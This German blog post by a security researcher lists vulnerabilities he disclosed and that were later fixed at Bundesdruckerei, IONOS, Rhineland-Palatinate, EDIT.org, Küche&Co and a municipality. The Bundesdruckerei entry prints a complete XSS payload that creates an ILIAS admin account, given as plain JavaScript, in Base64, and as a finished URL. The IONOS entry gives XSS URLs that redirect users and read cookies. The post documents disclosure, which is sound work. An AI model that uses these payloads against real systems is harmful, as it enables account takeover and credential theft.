#1SecFailEverySecondDay
Jeden zweiten Tag eine IT-Sicherheitslücke
#1SecFailEverySecondDay
Ich habe mir was nettes für das Jahr 2024 ausgedacht. Ich veröffentliche unter dem Hashtag #1SecFailEverySecondDay bis zum Jahr 2025 jeden zweiten Tag eine Sicherheitslücke / Schwachstelle, die ich in meiner Freizeit bei Organisationen gemeldet habe.
Natürlich ist nicht immer etwas spektakuläres dabei (sonst bekomme ich die Tage nicht voll). In erster Linie möchte ich damit aufzeigen, dass IT-Security kein Zustand ist und regelmäßige Pentests wichtig sind.
Mein Ansatz zur verantwortungsbewussten Offenlegung von Sicherheitslücken
In der Welt der Informationstechnologie ist die Identifizierung von Schwachstellen und Sicherheitslücken von entscheidender Bedeutung, um die Integrität digitaler Systeme zu gewährleisten.
Daher möchte ich betonen, dass ich jede entdeckte Schwachstelle oder Sicherheitslücke verantwortungsbewusst an die jeweiligen Organisationen gemeldet habe.
Meine Herangehensweise an die Offenlegung von Schwachstellen folgt dem Prinzip der Responsible Disclosure. Das bedeutet, dass ich jegliche identifizierten Sicherheitsprobleme diskret und vertraulich an die betroffenen Organisationen weitergebe. Dies ermöglicht es der Organisation, die notwendigen Maßnahmen zu ergreifen, um die Sicherheitslücken zu schließen, bevor diese von bösartigen Akteuren ausgenutzt werden können.
Natürlich gibt es auch Fälle, bei denen die Betroffenen, selbst nach mehrmaliger Meldung überhaupt nicht reagieren oder Sicherheitslücken auch einfach nicht schließen. Solche Fälle könnten hier ggf. auch veröffentlicht werden. Das ist allerdings die Ausnahme und auch nur dann, wenn nicht aktiv personen bezogene Daten im Spiel sind.
Tag 1: Bundesdruckerei
Organisation: Die Bundesdruckerei-Gruppe
Betroffene Systeme: learning-lab.bundesdruckerei.de
Schwachstellenmeldung: 12. Dezember 2023 (fixed)
Beschreibung
Es handelte sich um eine reflektierte XSS Schwachstelle mit dem Impact, einen Administrativen Account zu ergattern. Eine OS Command Injection war (sehr wahrscheinlich) ebenfalls durchführbar. Eine User-Interaktion (das Anklicken eines Links) durch einen eingeloggten Administrator, war für die erfolgreiche Ausnutzung notwendig. Diese XSS Schwachstelle konnte in der Theorie kritisch eskaliert werden:
Als Beispiel, könnte ein Angreifer durch Schadcode einen Account mit administrator Rechten erstellen. Hierzu würde es ausreichen einen modifizierten Link durch einen eingeloggten Administrator aufrufen zu lassen. Eine User-Interaktion eines priviligierten Nutzers ist für eine erfolgreiche Ausführung also notwendig.
Folgende Schritte für eine erfolgreiche Ausführung dieses Scenarios sind hierfür erforderlich:
1. Ein Angreifer benötigt den Request Token basierend auf dem eingeloggten Nutzer und der aktiven session (in ILIAS unter rtoken bekannt).
2. Ein HTTP POST-Request mit einem gültigen Request Token muss an einen Administrativen Endpunkt gesendet werden. Im POST Body werden Details wie Username und Passwort durch den Angreifer für den neu anzulegenden Account angegeben.
Die Logik hierfür könnte wie folgt aussehen:
function sendRequest(e,n,d){return new Promise(function(a){var r=new
XMLHttpRequest;r.open(n,e,!0),r.responseType="text","POST"==n&&r.setRequestH
eader("Content-Type","multipart/form-data; boundary=----
ABCDE"),r.onreadystatechange=function()
{4!==r.readyState||200!==r.status&&302!==r.status||a(r)},r.send(d)})}var
baseUri=window.location.protocol+"//"+window.location.host,boundary="----
ABCDE",dd="--"+boundary+"\r\nContent-Disposition: form-
data;",j="\r\n\r\n",data=dd+' name="auth_mode"'+j+"local\r\n"+dd+'
name="login"'+j+"renereh\r\n"+dd+' name="passwd"'+j+"Idsmwloo80!\r\n"+dd+'
name="passwd_retype"'+j+"Idsmwloo80!\r\n"+dd+' name="active"'+j+"1\r\n"+dd+'
name="time_limit_unlimited"'+j+"1\r\n"+dd+'
name="time_limit_from"'+j+"\r\n"+dd+' name="time_limit_until"'+j+"\r\n"+dd+'
name="gender"'+j+"f\r\n"+dd+' name="firstname"'+j+"Max\r\n"+dd+'
name="lastname"'+j+"Muster\r\n"+dd+' name="title"'+j+"\r\n"+dd+'
name="userfile"; filename=""\r\nContent-Type: application/octet-
stream\r\n\r\n\r\n'+dd+' name="birthday"'+j+"\r\n"+dd+'
name="institution"'+j+"\r\n"+dd+' name="department"'+j+"\r\n"+dd+'
name="street"'+j+"\r\n"+dd+' name="city"'+j+"\r\n"+dd+'
name="zipcode"'+j+"\r\n"+dd+' name="country"'+j+"\r\n"+dd+'
name="sel_country"'+j+"\r\n"+dd+' name="phone_office"'+j+"\r\n"+dd+'
name="phone_home"'+j+"\r\n"+dd+' name="phone_mobile"'+j+"\r\n"+dd+'
name="fax"'+j+"\r\n"+dd+' name="email"'+j+"contact@renerehme.de\r\n"+dd+'
name="second_email"'+j+"\r\n"+dd+' name="hobby"'+j+"\r\n"+dd+'
name="myCounter"'+j+"\r\n"+dd+' name="referral_comment"'+j+"\r\n"+dd+'
name="myCounter"'+j+"\r\n"+dd+' name="interests_general[]"'+j+"\r\n"+dd+'
name="interests_help_offered[]"'+j+"\r\n"+dd+'
name="interests_help_looking[]"'+j+"\r\n"+dd+'
name="matriculation"'+j+"\r\n"+dd+' name="client_ip"'+j+"\r\n"+dd+'
name="default_role"'+j+"2\r\n"+dd+' name="language"'+j+"de\r\n"+dd+'
name="skin_style"'+j+"default:delos\r\n"+dd+'
name="hits_per_page"'+j+"50\r\n"+dd+'
name="hide_own_online_status"'+j+"\r\n"+dd+'
name="ilfilehash"'+j+"df06da0df2d5b329ef1a83028cb34e87\r\n"+dd+'
name="cmd[save]"'+j+"Speichern\r\n--"+boundary+"--
";sendRequest(baseUri+"/ilias.php?
cmd=show&cmdClass=ildashboardgui&baseClass=ilDashboardGUI","GET","").then(fu
nction(e){var n=(new
DOMParser).parseFromString(e.responseText,"text/html").getElementById("mm_se
arch_form").getAttribute("action").match(/rtoken=([^&]+)/),d=n?
n[1]:null;null!=d?(console.log("[+] Got a token:
"+d),sendRequest(baseUri+"/ilias.php?
ref_id=7&admin_mode=settings&cmd=post&cmdClass=ilobjusergui&cmdNode=1d:r9&ba
seClass=ilAdministrationGUI&rtoken="+d,"POST",data).then(function(e)
{console.log("[+] Admin User created.")})):alert("Fehler. Sie sind nicht als
Admin eingeloggt!")});
Diesen Code habe ich in einer lokalen ILIAS Instanz erfolgreich ausführen können. Dabei wird ein
Nutzer "renereh " mit dem Passwort "Idsmwloo80!" und Adminrechten erstellt. Damit dieser Code über die gefundene XSS Schwachstelle ausgeführt werden kann, muss dieser so enkodiert werden, damit die korrekte Interpretation durch die Übergabe des Schadcodes in einer URL final durch den Browser stattfinden kann. Alternativ könnte der Schadcode auch durch ein externes JS File geladen werden, was aber durch diverse Policies i.d.R geblockt wird (fremder Origin).
Via Base64 wird der Schadcode also wie folgt enkodiert:
ZnVuY3Rpb24gc2VuZFJlcXVlc3QoZSxuLGQpe3JldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbihh
KXt2YXIgcj1uZXcgWE1MSHR0cFJlcXVlc3Q7ci5vcGVuKG4sZSwhMCksci5yZXNwb25zZVR5cGU9
InRleHQiLCJQT1NUIj09biYmci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJtdWx0
aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tQUJDREUiKSxyLm9ucmVhZHlzdGF0ZWNoYW5n
ZT1mdW5jdGlvbigpezQhPT1yLnJlYWR5U3RhdGV8fDIwMCE9PXIuc3RhdHVzJiYzMDIhPT1yLnN0
YXR1c3x8YShyKX0sci5zZW5kKGQpfSl9dmFyIGJhc2VVcmk9d2luZG93LmxvY2F0aW9uLnByb3Rv
Y29sKyIvLyIrd2luZG93LmxvY2F0aW9uLmhvc3QsYm91bmRhcnk9Ii0tLS1BQkNERSIsZGQ9Ii0t
Iitib3VuZGFyeSsiXHJcbkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsiLGo9IlxyXG5c
clxuIixkYXRhPWRkKycgbmFtZT0iYXV0aF9tb2RlIicraisibG9jYWxcclxuIitkZCsnIG5hbWU9
ImxvZ2luIicraisicmVuZXJlaFxyXG4iK2RkKycgbmFtZT0icGFzc3dkIicraisiSWRzbXdsb284
MCFcclxuIitkZCsnIG5hbWU9InBhc3N3ZF9yZXR5cGUiJytqKyJJZHNtd2xvbzgwIVxyXG4iK2Rk
KycgbmFtZT0iYWN0aXZlIicraisiMVxyXG4iK2RkKycgbmFtZT0idGltZV9saW1pdF91bmxpbWl0
ZWQiJytqKyIxXHJcbiIrZGQrJyBuYW1lPSJ0aW1lX2xpbWl0X2Zyb20iJytqKyJcclxuIitkZCsn
IG5hbWU9InRpbWVfbGltaXRfdW50aWwiJytqKyJcclxuIitkZCsnIG5hbWU9ImdlbmRlciInK2or
ImZcclxuIitkZCsnIG5hbWU9ImZpcnN0bmFtZSInK2orIk1heFxyXG4iK2RkKycgbmFtZT0ibGFz
dG5hbWUiJytqKyJNdXN0ZXJcclxuIitkZCsnIG5hbWU9InRpdGxlIicraisiXHJcbiIrZGQrJyBu
YW1lPSJ1c2VyZmlsZSI7IGZpbGVuYW1lPSIiXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24v
b2N0ZXQtc3RyZWFtXHJcblxyXG5cclxuJytkZCsnIG5hbWU9ImJpcnRoZGF5IicraisiXHJcbiIr
ZGQrJyBuYW1lPSJpbnN0aXR1dGlvbiInK2orIlxyXG4iK2RkKycgbmFtZT0iZGVwYXJ0bWVudCIn
K2orIlxyXG4iK2RkKycgbmFtZT0ic3RyZWV0IicraisiXHJcbiIrZGQrJyBuYW1lPSJjaXR5Iicr
aisiXHJcbiIrZGQrJyBuYW1lPSJ6aXBjb2RlIicraisiXHJcbiIrZGQrJyBuYW1lPSJjb3VudHJ5
IicraisiXHJcbiIrZGQrJyBuYW1lPSJzZWxfY291bnRyeSInK2orIlxyXG4iK2RkKycgbmFtZT0i
cGhvbmVfb2ZmaWNlIicraisiXHJcbiIrZGQrJyBuYW1lPSJwaG9uZV9ob21lIicraisiXHJcbiIr
ZGQrJyBuYW1lPSJwaG9uZV9tb2JpbGUiJytqKyJcclxuIitkZCsnIG5hbWU9ImZheCInK2orIlxy
XG4iK2RkKycgbmFtZT0iZW1haWwiJytqKyJjb250YWN0QHJlbmVyZWhtZS5kZVxyXG4iK2RkKycg
bmFtZT0ic2Vjb25kX2VtYWlsIicraisiXHJcbiIrZGQrJyBuYW1lPSJob2JieSInK2orIlxyXG4i
K2RkKycgbmFtZT0ibXlDb3VudGVyIicraisiXHJcbiIrZGQrJyBuYW1lPSJyZWZlcnJhbF9jb21t
ZW50IicraisiXHJcbiIrZGQrJyBuYW1lPSJteUNvdW50ZXIiJytqKyJcclxuIitkZCsnIG5hbWU9
ImludGVyZXN0c19nZW5lcmFsW10iJytqKyJcclxuIitkZCsnIG5hbWU9ImludGVyZXN0c19oZWxw
X29mZmVyZWRbXSInK2orIlxyXG4iK2RkKycgbmFtZT0iaW50ZXJlc3RzX2hlbHBfbG9va2luZ1td
IicraisiXHJcbiIrZGQrJyBuYW1lPSJtYXRyaWN1bGF0aW9uIicraisiXHJcbiIrZGQrJyBuYW1l
PSJjbGllbnRfaXAiJytqKyJcclxuIitkZCsnIG5hbWU9ImRlZmF1bHRfcm9sZSInK2orIjJcclxu
IitkZCsnIG5hbWU9Imxhbmd1YWdlIicraisiZGVcclxuIitkZCsnIG5hbWU9InNraW5fc3R5bGUi
JytqKyJkZWZhdWx0OmRlbG9zXHJcbiIrZGQrJyBuYW1lPSJoaXRzX3Blcl9wYWdlIicraisiNTBc
clxuIitkZCsnIG5hbWU9ImhpZGVfb3duX29ubGluZV9zdGF0dXMiJytqKyJcclxuIitkZCsnIG5h
bWU9ImlsZmlsZWhhc2giJytqKyJkZjA2ZGEwZGYyZDViMzI5ZWYxYTgzMDI4Y2IzNGU4N1xyXG4i
K2RkKycgbmFtZT0iY21kW3NhdmVdIicraisiU3BlaWNoZXJuXHJcbi0tIitib3VuZGFyeSsiLS0i
O3NlbmRSZXF1ZXN0KGJhc2VVcmkrIi9pbGlhcy5waHA/Y21kPXNob3cmY21kQ2xhc3M9aWxkYXNo
Ym9hcmRndWkmYmFzZUNsYXNzPWlsRGFzaGJvYXJkR1VJIiwiR0VUIiwiIikudGhlbihmdW5jdGlv
bihlKXt2YXIgbj0obmV3IERPTVBhcnNlcikucGFyc2VGcm9tU3RyaW5nKGUucmVzcG9uc2VUZXh0
LCJ0ZXh0L2h0bWwiKS5nZXRFbGVtZW50QnlJZCgibW1fc2VhcmNoX2Zvcm0iKS5nZXRBdHRyaWJ1
dGUoImFjdGlvbiIpLm1hdGNoKC9ydG9rZW49KFteJl0rKS8pLGQ9bj9uWzFdOm51bGw7bnVsbCE9
ZD8oY29uc29sZS5sb2coIlsrXSBHb3QgYSB0b2tlbjogIitkKSxzZW5kUmVxdWVzdChiYXNlVXJp
KyIvaWxpYXMucGhwP3JlZl9pZD03JmFkbWluX21vZGU9c2V0dGluZ3MmY21kPXBvc3QmY21kQ2xh
c3M9aWxvYmp1c2VyZ3VpJmNtZE5vZGU9MWQ6cjkmYmFzZUNsYXNzPWlsQWRtaW5pc3RyYXRpb25H
VUkmcnRva2VuPSIrZCwiUE9TVCIsZGF0YSkudGhlbihmdW5jdGlvbihlKXtjb25zb2xlLmxvZygi
WytdIEFkbWluIFVzZXIgY3JlYXRlZC4iKX0pKTphbGVydCgiRmVobGVyLiBTaWUgc2luZCBuaWNo
dCBhbHMgQWRtaW4gZWluZ2Vsb2dndCEiKX0pOw==
Normalerweiße könnte dieser String nun via
https://learning-lab.bundesdruckerei.de/api/<img src=x onerror=eval(atob('<--base64-string-->'))>
in der URL verwendet werden.
Problematisch ist, dass im Base64-String das Slash-Zeichen " / " vorkommt, was die Logik bei direkter Übermittlung in der URL an dieser Stelle durch die Interpretation eines weiteren Pfadsegmentes unterprechen würde.
Durch einen kleinen Workaround ist es dennoch möglich. Splittet man den Base64-String in zwei Teile, gibt diese über zwei separate URL Query-Parameter an und fügt sie zur Dekodierung und Interpretation wieder zusammen, kann das Zeichen " / " in der URL eliminiert werden:
/api/XXX?param1=Base64Part1¶m2=Base64Part2
Damit das funktioniert, werden die Parts ausgelesen, zusammengesetzt und anschließend via innerHTML in den HTML <body> geschreiben. Dabei wird ein IMG-Tag verwendet, sobei der Schadcode in eine onerror Attribut überführt wird. Da src=x nicht geladen werden kann, wird das Event onerror aktiv, welches final die zusammengesetzte Payload decodiert ( atob ) und ausführt ( eval ):
const sp = new URLSearchParams(window.location.search);var i = "<img src=x onerror=eval(atob('"+sp.get("param1")+"/"+sp.get("param2")+"'))>";document.body.innerHTML = i;
Dieser Codeschnipsel wird als URL-Pfad nach /api/ encodiert über ein onerror event angegeben und wird initial ausgeführt. Die finale Payload sieht wie folgt aus:
https://learning-
lab.bundesdruckerei.de/api/%3Cimg%20src=x%20onerror=eval(atob('Y29uc3Qgc3AgP
SBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpO3ZhciBpID0gIjxpb
Wcgc3JjPXggb25lcnJvcj1ldmFsKGF0b2IoJyIrc3AuZ2V0KCJiMSIpKyIvIitzcC5nZXQoImIyI
ikrIicpKT4iO2RvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gaTs='))%3E?
b1=ZnVuY3Rpb24gc2VuZFJlcXVlc3QoZSxuLGQpe3JldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvb
ihhKXt2YXIgcj1uZXcgWE1MSHR0cFJlcXVlc3Q7ci5vcGVuKG4sZSwhMCksci5yZXNwb25zZVR5c
GU9InRleHQiLCJQT1NUIj09biYmci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJtd
Wx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tQUJDREUiKSxyLm9ucmVhZHlzdGF0ZWNoY
W5nZT1mdW5jdGlvbigpezQhPT1yLnJlYWR5U3RhdGV8fDIwMCE9PXIuc3RhdHVzJiYzMDIhPT1yL
nN0YXR1c3x8YShyKX0sci5zZW5kKGQpfSl9dmFyIGJhc2VVcmk9d2luZG93LmxvY2F0aW9uLnByb
3RvY29sKyIvLyIrd2luZG93LmxvY2F0aW9uLmhvc3QsYm91bmRhcnk9Ii0tLS1BQkNERSIsZGQ9I
i0tIitib3VuZGFyeSsiXHJcbkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsiLGo9IlxyX
G5cclxuIixkYXRhPWRkKycgbmFtZT0iYXV0aF9tb2RlIicraisibG9jYWxcclxuIitkZCsnIG5hb
WU9ImxvZ2luIicraisicmVuZXJlaFxyXG4iK2RkKycgbmFtZT0icGFzc3dkIicraisiSWRzbXdsb
284MCFcclxuIitkZCsnIG5hbWU9InBhc3N3ZF9yZXR5cGUiJytqKyJJZHNtd2xvbzgwIVxyXG4iK
2RkKycgbmFtZT0iYWN0aXZlIicraisiMVxyXG4iK2RkKycgbmFtZT0idGltZV9saW1pdF91bmxpb
Wl0ZWQiJytqKyIxXHJcbiIrZGQrJyBuYW1lPSJ0aW1lX2xpbWl0X2Zyb20iJytqKyJcclxuIitkZ
CsnIG5hbWU9InRpbWVfbGltaXRfdW50aWwiJytqKyJcclxuIitkZCsnIG5hbWU9ImdlbmRlciInK
2orImZcclxuIitkZCsnIG5hbWU9ImZpcnN0bmFtZSInK2orIk1heFxyXG4iK2RkKycgbmFtZT0ib
GFzdG5hbWUiJytqKyJNdXN0ZXJcclxuIitkZCsnIG5hbWU9InRpdGxlIicraisiXHJcbiIrZGQrJ
yBuYW1lPSJ1c2VyZmlsZSI7IGZpbGVuYW1lPSIiXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb
24vb2N0ZXQtc3RyZWFtXHJcblxyXG5cclxuJytkZCsnIG5hbWU9ImJpcnRoZGF5IicraisiXHJcb
iIrZGQrJyBuYW1lPSJpbnN0aXR1dGlvbiInK2orIlxyXG4iK2RkKycgbmFtZT0iZGVwYXJ0bWVud
CInK2orIlxyXG4iK2RkKycgbmFtZT0ic3RyZWV0IicraisiXHJcbiIrZGQrJyBuYW1lPSJjaXR5I
icraisiXHJcbiIrZGQrJyBuYW1lPSJ6aXBjb2RlIicraisiXHJcbiIrZGQrJyBuYW1lPSJjb3Vud
HJ5IicraisiXHJcbiIrZGQrJyBuYW1lPSJzZWxfY291bnRyeSInK2orIlxyXG4iK2RkKycgbmFtZ
T0icGhvbmVfb2ZmaWNlIicraisiXHJcbiIrZGQrJyBuYW1lPSJwaG9uZV9ob21lIicraisiXHJcb
iIrZGQrJyBuYW1lPSJwaG9uZV9tb2JpbGUiJytqKyJcclxuIitkZCsnIG5hbWU9ImZheCInK2orI
lxyXG4iK2RkKycgbmFtZT0iZW1haWwiJytqKyJjb250YWN0QHJlbmVyZWhtZS5kZVxyXG4iK2RkK
ycgbmFtZT0ic2Vjb25kX2VtYWlsIicraisiXHJcbiIrZGQrJyBuYW1lPSJob2JieSInK2orIlxyX
G4iK2RkKycgbmFtZT0ibXlDb3VudGVyIicraisiXHJcbiIrZGQrJyBuYW1lPSJyZWZlcnJhbF9jb
21tZW50IicraisiXHJcbiIrZGQrJyBuYW1lPSJteUNvdW50ZXIiJytqKyJcclxuIitkZCsnIG5hb
WU9ImludGVyZXN0c19nZW5lcmFsW10iJytqKyJcclxuIitkZCsnIG5hbWU9ImludGVyZXN0c19oZ
WxwX29mZmVyZWRbXSInK2orIlxyXG4iK2RkKycgbmFtZT0iaW50ZXJlc3RzX2hlbHBfbG9va2luZ
1tdIicraisiXHJcbiIrZGQrJyBuYW1lPSJtYXRyaWN1bGF0aW9uIicraisiXHJcbiIrZGQrJyBuY
W1lPSJjbGllbnRfaXAiJytqKyJcclxuIitkZCsnIG5hbWU9ImRlZmF1bHRfcm9sZSInK2orIjJcc
lxuIitkZCsnIG5hbWU9Imxhbmd1YWdlIicraisiZGVcclxuIitkZCsnIG5hbWU9InNraW5fc3R5b
GUiJytqKyJkZWZhdWx0OmRlbG9zXHJcbiIrZGQrJyBuYW1lPSJoaXRzX3Blcl9wYWdlIicraisiN
TBcclxuIitkZCsnIG5hbWU9ImhpZGVfb3duX29ubGluZV9zdGF0dXMiJytqKyJcclxuIitkZCsnI
G5hbWU9ImlsZmlsZWhhc2giJytqKyJkZjA2ZGEwZGYyZDViMzI5ZWYxYTgzMDI4Y2IzNGU4N1xyX
G4iK2RkKycgbmFtZT0iY21kW3NhdmVdIicraisiU3BlaWNoZXJuXHJcbi0tIitib3VuZGFyeSsiL
S0iO3NlbmRSZXF1ZXN0KGJhc2VVcmkrIi9pbGlhcy5waHA&b2=Y21kPXNob3cmY21kQ2xhc3M9aW
xkYXNoYm9hcmRndWkmYmFzZUNsYXNzPWlsRGFzaGJvYXJkR1VJIiwiR0VUIiwiIikudGhlbihmdW
5jdGlvbihlKXt2YXIgbj0obmV3IERPTVBhcnNlcikucGFyc2VGcm9tU3RyaW5nKGUucmVzcG9uc2
VUZXh0LCJ0ZXh0L2h0bWwiKS5nZXRFbGVtZW50QnlJZCgibW1fc2VhcmNoX2Zvcm0iKS5nZXRBdH
RyaWJ1dGUoImFjdGlvbiIpLm1hdGNoKC9ydG9rZW49KFteJl0rKS8pLGQ9bj9uWzFdOm51bGw7bn
VsbCE9ZD8oY29uc29sZS5sb2coIlsrXSBHb3QgYSB0b2tlbjogIitkKSxzZW5kUmVxdWVzdChiYX
NlVXJpKyIvaWxpYXMucGhwP3JlZl9pZD03JmFkbWluX21vZGU9c2V0dGluZ3MmY21kPXBvc3QmY2
1kQ2xhc3M9aWxvYmp1c2VyZ3VpJmNtZE5vZGU9MWQ6cjkmYmFzZUNsYXNzPWlsQWRtaW5pc3RyYX
Rpb25HVUkmcnRva2VuPSIrZCwiUE9TVCIsZGF0YSkudGhlbihmdW5jdGlvbihlKXtjb25zb2xlLm
xvZygiWytdIEFkbWluIFVzZXIgY3JlYXRlZC4iKX0pKTphbGVydCgiRmVobGVyLiBTaWUgc2luZC
BuaWNodCBhbHMgQWRtaW4gZWluZ2Vsb2dndCEiKX0pOw==
Der Aufruf dieser URL in einem nicht eingeloggten Zustand, erzeugt auf der learning-lab.bundesdruckerei.de Instanz einen Fehler in der Konsole. Sollte der Aufruf durch einen eingeloggten Administrator stattfinden, wird die Logik ausgeführt - sofern ILIAS Standard-Funktionalitäten nicht verändert wurden.
Da hier als Basis eine ILIAS Instanz < v7.26 installiert ist, wäre es mir bei Ausführung dieser XSS Schwachstelle auch potenziell möglich eine Command Injection durchzuführen, um Zugriff auf den Server zu erlangen. Details hierzu können unter der von mir eingereichten CVE-2023-45869 nachgelesen werden. Ein Exploit wurde von mir zwar nie veröffentlicht, ein potenzieller Angreifer könnte aber die notwendigen Details aus meinem Write-Up ableiten: https://rehmeinfosec.de/labor/cve-2023-45869
Tag 3: IONOS (1und1)
Organisation: IONOS SE
Betroffene Systeme: ionos.de, logo-generator.ionos.com
Schwachstellenmeldung: 8. Dezember 2022 (fixed)
Beschreibung
Die IONOS-Webanwendung war von einer reflektierten XSS-Schwachstelle betroffen, die es ermöglichte, Schadcode über einen URL-Abfrageparameter auszuspielen. Die Payload wurde im Browser unter Verwendung einer URL interpretiert und ausgeführt.
Durch die Ausführung der Payload mittels des Aufrufs eines entsprechenden Links wurde beispielsweise die Umleitung eines Opfers auf eine Phishing-Website ermöglicht oder die Ausführung von Applikationsfunktionen in dessen Kontext. Auch waren Session Cookies auslesbar.
Die Sicherheitslücke konnte in der Anwendung "logo-generator.ionos.com" ausfindig gemacht werden:
https://logo-generator.ionos.com/
?lang=de
&tc=de
&m=d
&mt=%3Cscript%3Ealert(document.cookies)%3C/script%3E
Interessant war hier, dass diese Anwendung direkt in der Haupseite unter "ionos.de" über ein iFrame eingebunden wurde. Über das eingebundene iFrame konnte so via "window.parent.location.href" die URL eines Angreifers auf der Hauptseite geladen werden.
https://www.ionos.de/tools/logo-erstellen
?lang=de
&tc=de
&m=e
&mt=%3Cscript%3Eeval%28atob%28%27d2luZG93LnBhcmVudC5sb2NhdGlvbi5ocmVmPSJodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9QaGlzaGluZyI7%27%29%29%3C%2Fscript%3E
In einem Proof of Concept wurde exemplarisch ein Login-Formular integriert, das nicht von IONOS stammte. Auf diese Weise hätten potenzielle Angreifer Zugangsdaten abfangen können:
Tag 5: Rheinland-Pfalz
Organisation: Land Rheinland-Pfalz
Betroffene Systeme: *.rlp.de
Schwachstellenmeldung: 11. März 2023 (fixed)
Beschreibung
Eine Datenbankverwaltung (phpMyAdmin) war ungesichert und öffentlich abrufbar. Es konnten auf Datenbanken eines Datenbankservers ohne Zugangssicherung zugegriffen werden. Ein krimineller Angreifer hätte alle darin enthaltenen Daten lesen, oder verändern können. Die Möglichkeit neue Daten zu schreiben war ebenfalls gegeben.
Enthalten waren z.B.:
- Zugangsdaten von Frontend User mit Passwörtern in Klartext.
- Zugangsdaten von Backend User mit Passwörtern in MD5 (veraltetes Hashverfahren).
- 13099 E-Mail Addressen in einer dmail Log.
Die Datenbanken wurden wahrscheinlich nicht in Produktion verwendet (zu letzt generiert Einträge waren nicht aktuell). Es wurde dennoch empfohlen unbedingt auch die darin gefundenen Passwörter zu änderen, da diese in den Liveinstanzen funktionierten.
Des weiteren wurde eine ungeschützte Seite innerhalb eines Adminbereichs (/admin/test/) entdeckt. Darüber konnten öffentlich zugänglich interne PDF Dokumente heruntergeladen werden. (z.B. eine Arbeitsanweißung wie die Einrichtung einer Remote Desktop Verbindung (via RDP) mit dem Desktop PC am Arbeitsplatz erfolgt.
Tag 7: EDIT.org
Organisation: EDIT.org
Betroffene Systeme: edit.org
Schwachstellenmeldung: 14. Dezember 2021 (fixed)
Beschreibung
Eine nohup.out Datei war im documentRoot abgelegt.
In diesem File waren 173,737 E-Mail Adressen von Kunden offen einsehbar.
Die Ausgaben eines mittels "nohup" aufgerufenen Programms werden automatisch in die Datei "nohup.out" umgeleitet. Diese Datei wird im Verzeichnis erstellt, von dem aus der Befehl ausgeführt wurde. Alternativ wäre es möglich gewesen, die Ausgabe in "/dev/null" zu lenken oder das File im Nachgang zu löschen.
Tag 9: Küche&Co GmbH - a member of the otto group
Organisation: Küche&Co GmbH
Betroffene Systeme: kueche-co.de
Schwachstellenmeldung: 4. Mai 2022 (fixed)
Beschreibung
Über einen öffentlich aufrufbaren Link konnte eine 50.8MB .tgz Datei ohne Zugangssicherung heruntergeladen werden: https://intranet.kueche-co.de/archive.tgz
Dieses Archiv beinhaltete eine Datei mit Kundendaten (Namen, Adressen, Email-Adressen und mehr) .
Side Story:
Diese Meldung sollte mein erstes Bug Bounty sein, wo tatsächlich eine Prämie in Form von Geld als "Dankeschön" angeboten wurde. Naja, eigentlich.
Da ich meine Kontodaten nicht herausgeben und meine Person nicht nennen wollte, hatte ich nach einer anonymen Abwicklung (Amazon Gutschein, Paysafe etc.) gefragt. Ein paar Tage später nochmal nachgehakt und dann diese Antwort bekommen:
Thrust me bro!
Tag 11: Gemeinde Roggenburg
Organisation: Gemeinde Roggenburg
Betroffene Systeme: roggenburg.de
Schwachstellenmeldung: 24. Nov. 2023 (fixed)
Beschreibung
Der "Zweckverband gemeindliche Datenverarbeitung" im Landkreis Neu-Ulm ist Ende 2023 Opfer eines Ransomware Angriff geworden. Mehrere Kommunen im Landkreis Neu-Ulm wurden dadurch teilweise lahmgelegt. Darunter auch die Gemeinde Roggenburg. Der BR berichtete über den Vorfall.
Ich habe mir in diesem Zuge die Webseite der Gemeinde Roggenburg angeschaut. Innerhalb einer Minute konnte ich eine SQL-Injection ausfindig machen und ja, das ging tatsächlich so schnell, da mein erster Take immer die Eingabeprüfung von Input-Feldern ist. SQL-Injection ist eine kritische Sicherheitlücke, die es einem Angreifer ermöglicht mit der zugrunde liegenden Datenbank frei zu interagieren. Sie ermöglicht also den Zugriff auf alle Informatinen die darin gespeichert werden.
Der BR berichtete auch über diesen Vorfall.
Der Artikel ist hier zu lesen: https://www.br.de/nachrichten/bayern/cyberangriffe-auf-kommunen-in-einer-minute-war-ich-im-system
Vorweg möchte ich direkt eine Lanze brechen: Das von der Gemeinde Roggenburg verwendete Content Management System betrachte ich als ausgesprochen sicher. Die von mir entdeckte Sicherheitslücke resultierte aus einer eigenentwickelten Komponente, die vom Dienstleister bereitgestellt wurde. Die Umsetzung und Implementierung entsprachen jedoch nicht den Standards, die das System vorgibt. Das konnte man z.B. beim Suchformular durch den fehlenden CSRF-Token erahnen.
Ein technischer Einblick für interessierte
Neos (das verwendete System), sollte nicht als klassisches CMS verstanden werden, sondern eher als Content Application Plattform. Entwickler können mithilfe von NodeTypes und Fusion ihre eigenen Inhaltselemente erstellen. Diese können dann von Redakteuren über das Backend zur Contentpflege genutzt werden. Die traditionelle Umsetzung von Elementen erfordert in technischer Hinsicht also keine Programmierung in PHP oder gar SQL.
Warum war eine SQL Injection möglich?
Hierzu muss man das System zunächst grob verstehen.
Neos basiert auf einem eigens entwickelten PHP-Framework namens Neos Flow. Das MVC-Paradigma in Neos lässt sich vereinfacht wie folgt erklären:
- Controller: Verantwortlich für die eigene Logik.
- Model: Abbildung der Geschäftslogik und einer Entität nach den Konzepten des Domain-Driven Design.
- Repository: Dient als Schnittstelle zwischen der Geschäftslogik (dem Model) und dem Data Storage (z.B. MySQL). Das Repository ist der Ort, an dem die Logik für Datenbankabfragen in das persistente Framework übergeht - standardmäßig Doctrine 2 ORM.
